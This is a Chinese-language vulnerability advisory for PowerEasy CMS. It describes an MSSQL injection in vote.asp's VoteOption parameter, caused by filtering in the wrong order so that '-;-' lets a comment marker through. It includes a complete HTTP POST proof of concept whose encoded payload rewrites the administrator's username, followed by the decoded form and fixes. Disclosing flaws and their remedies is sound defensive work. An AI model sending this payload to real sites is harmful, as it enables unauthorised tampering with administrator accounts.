测试系统:
动易(PowerEasyCMSSP6071030以下版本)
安全综述:
动易网站管理系统是一个采用ASP和MSSQL等其他多种数据库构建的高效网站内容管理解决方案产品。
漏洞描述:
vote.asp调用了动易组件PE_Site.ShowVote,此组件VoteOption参数过滤不严,导致可以进行mssql注入
但是其语句里面过滤了--;等字符,又是一个UPDATE形的注入,有一定的限制。但是其过滤的顺序不对。有导致mssql的注释符号--可以进入语句
测试方法:
POSTVote.aspHTTP/1.1
Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flash,*/*
Referer:http://127.0.0.1/Vote.asp?ID=2&Action=Show
Accept-Language:zh-cn
Content-Type:application/x-www-form-urlencoded
Accept-Encoding:gzip,deflate
User-Agent:Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1;.NETCLR2.0.50727)
Host:127.0.0.1
Content-Length:160
Connection:Keep-Alive
Cache-Control:no-cache
Cookie:rtime=0;ltime=1191765883073;cnzz_eid=6855133-;AJSTAT_ok_times=2;ViewMode=1;PJBlog2Setting=ViewType=normal;http%3A%2F%2Fkw%2Elyedu%2Ecom%2Ecn=lao=8;style=null;chkRemember=false;ASPSESSIONIDSSRCABTA=JJODPHAACKPHCFNFCKEINALN;VotedID=1
VoteOption=1%3D1+%75%70%64%61%74%65%20%50%45%5F%41%64%6D%69%6E%20%73%65%74%20%61%64%6D%69%6E%6E%61%6D%65%3D%30%78%36%31%2D%3B%2D&VoteType=Multi&Action=Vote&ID=2
其中1%3D1+%75%70%64%61%74%65%20%50%45%5F%41%64%6D%69%6E%20%73%65%74%20%61%64%6D%69%6E%6E%61%6D%65%3D%30%78%36%31%2D%3B%2D解码后为
1=1+updatePE_Adminsetadminname=0x61-;-
他们先过滤了--再过滤;导致以-;-的形式可以很轻松的把注释符带入语句,执行语句后,成功把管理员的用户名设置为a
解决方案:
更新动易组件(需要管理员的权限才能更新)。
不需要投票功能的用户,删除此文件。
有需要,但是又没有权限更新动易组件(需要管理员的权限才能更新)的用户。请在vote.asp文件自行过滤各个参数。